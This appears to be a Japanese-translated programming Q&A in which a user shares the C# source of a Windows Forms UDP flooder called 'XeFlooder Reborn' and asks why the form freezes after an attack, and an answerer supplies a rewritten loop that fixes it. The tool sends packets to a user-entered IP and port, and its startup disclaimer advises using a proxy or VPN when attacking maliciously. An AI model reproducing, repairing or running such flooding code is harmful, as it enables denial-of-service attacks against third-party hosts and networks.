0

UDP Flooder に取り組んでいますが、攻撃が終了するとフォームがフリーズします...

つまり、どのように機能するかというと、ターゲットを攻撃する目的で「startUDP」メソッドを呼び出すボタンがあり (それが実行されます)、メソッド内にチェックを作成して、攻撃が終了したかどうか、および攻撃を停止するかどうかを確認します。 while ループ。残念ながら、これはプログラムのフリーズを止めません:/

どんな助けでも大歓迎です!

これまでの私のコードは次のとおりです。

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Net.NetworkInformation;
using System.Threading;
using System.Windows.Forms;
using ComponentFactory.Krypton.Toolkit;

namespace XeFlooder_Reborn
{
    public partial class Form1 : ComponentFactory.Krypton.Toolkit.KryptonForm
    {
        int packets;
        int totalPackets;

        public Form1()
        {
            InitializeComponent();
        }

        private void udp_start_Click(object sender, EventArgs e)
        {
            DebugLabel.Text = "Debugging Label - Resetting Packet Count 0/2...";
            //Thread.Sleep(100);
            packets = 0;
            DebugLabel.Text = "Debugging Label - Resetting Packet Count 1/2...";
            //Thread.Sleep(100);
            totalPackets = Convert.ToInt32(udp_packets.Value);
            DebugLabel.Text = "Debugging Label - Resetting Packet Count 2/2...";
            //Thread.Sleep(100);
            DebugLabel.Text = "Debugging Label - Calling attack method...";
            //Thread.Sleep(100);
            startUDP(true);
        }

        private void startUDP(bool attacking)
        {
            while(attacking)
            {
                DebugLabel.Text = "Debugging Label - Checking attack status...";
                //Thread.Sleep(100);
                if (packets < totalPackets)
                {
                    DebugLabel.Text = "Debugging Label - Initiating Flood...";
                    //Thread.Sleep(500);

                    //UDP Packet being sent to target
                    DebugLabel.Text = "Debugging Label - Creating packet that will be sent to target...";
                    //Thread.Sleep(100);
                    byte[] packet = ASCIIEncoding.ASCII.GetBytes("<XeFlooder Reborn 1.0>");
                    DebugLabel.Text = "Debugging Label - Packet creation successful...";
                    //Thread.Sleep(100);

                    //Assign Target End Point
                    DebugLabel.Text = "Debugging Label - Assigning end point based on IP and Port combination...";
                    //Thread.Sleep(100);
                    IPEndPoint ep = new IPEndPoint(IPAddress.Parse(udp_ip.Text), Convert.ToInt32(udp_port.Value));
                    DebugLabel.Text = "Debugging Label - End Point creation successful...";

                    //Socket used to flood client
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Creating Socket...";
                    Socket target = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Socket creation successful!";

                    //Increase counted packets by 1
                    packets++;
                    DebugLabel.Text = "Debugging Label - Sending target the packet...";
                    //Send packet to target
                    target.SendTo(packet, ep);
                    DebugLabel.Text = "Debugging Label - Flood finished...";

                    //Update Progress Trackers
                    udp_progress_bar.Maximum = totalPackets;
                    udp_progress_bar.Value = packets;
                    udp_progress_text.Text = "Progress: " + Convert.ToString(packets) + "/" + Convert.ToString(totalPackets);

                    //Check if we have reached flood limit (if attack is over)
                    if (attacking && udp_progress_bar.Value == udp_progress_bar.Maximum)
                    {
                        //Let the user know our attack is finished
                        MessageBox.Show("Successful UDP Flood Finished!");

                        //Reset packet count
                        packets = 0;
                        totalPackets = 0;

                        //Turn off attack loop
                        attacking = false;
                    }
                }
            }
            while (!attacking)
            {
                DebugLabel.Text = "Debugging Label - Waiting for command...";
            }
        }

        private string GetMacAddress()
        {
            string macAddresses = string.Empty;
            foreach (NetworkInterface nic in NetworkInterface.GetAllNetworkInterfaces())
            {
                if (nic.OperationalStatus == OperationalStatus.Up)
                {
                    macAddresses += nic.GetPhysicalAddress().ToString();
                    break;
                }
            }
            return macAddresses;
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            MessageBox.Show("The developers of XeFlooder (Reborn) are not responsible for what you do with this program, it was made for stress testing. If you choose to use this program for malicious purposes please do so while using a Proxy or a VPN. Enjoy...", "DISCLAIMER!");
            if (NetworkInterface.GetIsNetworkAvailable() != true)
            {
                MessageBox.Show("You need to be connected to the internet to use this program...\nNow exiting...");
                this.Close();
            }
            WebRequest request = WebRequest.Create("http://icanhazip.com/");
            WebResponse response = request.GetResponse();
            System.IO.StreamReader sr = new System.IO.StreamReader(response.GetResponseStream());
            string IP = sr.ReadToEnd();
            IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
            info.Items.Add("Public IP Address: " + IP);
            foreach (IPAddress ip in host.AddressList)
            {
                if (ip.AddressFamily.ToString() == "InterNetwork")
                {
                    info.Items.Add("IPv4 Address: " + ip.ToString());
                }
            }
            info.Items.Add("Link Local Address: " + IPAddress.Broadcast);
            info.Items.Add("Machine Name: " + Dns.GetHostName());
            info.Items.Add("MAC Address: " + GetMacAddress());
        }
    }
}
4

1 に答える 1

1

あなたの問題は、ネストされた「if」ブロック内で「攻撃」をfalseに設定していることだと思います。したがって、外側のブロックがfalseを読み取ると(つまり、パケット== totalPacketsの場合)、すべてがバイパスされ、「攻撃」がfalseに設定されることはなく、whileループが無限になります。

条件を に変更するif (packets <= totalPackets)と修正されるようです。

問題を実際に再現することはできませんが、無限ループを持つことができない同じことを行うためのわずかに異なる方法を次に示します。この方法で問題が解決しない場合は、ループではありません。

       if(attacking)
        {
            //DebugLabel.Text = "Debugging Label - Checking attack status...";
            for (; packets <= totalPackets;packets++ )
            {              
                    //Thread.Sleep(100);

                    DebugLabel.Text = "Debugging Label - Initiating Flood...";
                    //Thread.Sleep(500);

                    //UDP Packet being sent to target
                    DebugLabel.Text = "Debugging Label - Creating packet that will be sent to target...";
                    //Thread.Sleep(100);
                    byte[] packet = ASCIIEncoding.ASCII.GetBytes("<XeFlooder Reborn 1.0>");
                    DebugLabel.Text = "Debugging Label - Packet creation successful...";
                    //Thread.Sleep(100);

                    //Assign Target End Point
                    DebugLabel.Text = "Debugging Label - Assigning end point based on IP and Port combination...";
                    //Thread.Sleep(100);
                    IPEndPoint ep = new IPEndPoint(IPAddress.Parse(udp_ip.Text), Convert.ToInt32(udp_port.Value));
                    DebugLabel.Text = "Debugging Label - End Point creation successful...";

                    //Socket used to flood client
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Creating Socket...";
                    Socket target = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Socket creation successful!";

                    DebugLabel.Text = "Debugging Label - Sending target the packet...";
                    //Send packet to target
                    target.SendTo(packet, ep);
                    DebugLabel.Text = "Debugging Label - Flood finished...";

                    udp_progress_bar.Maximum = totalPackets;
                    udp_progress_bar.Value = packets;
                    udp_progress_text.Text = "Progress: " + Convert.ToString(packets) + "/" + Convert.ToString(totalPackets);
            }
            MessageBox.Show("Successful UDP Flood Finished!");

            //Reset packet count
            packets = 0;
            totalPackets = 0;

            //Turn off attack loop
            attacking = false;
        }
        if (!attacking)
        {
            DebugLabel.Text = "Debugging Label - Waiting for command...";
        }
于 2013-09-10T04:31:33.507 に答える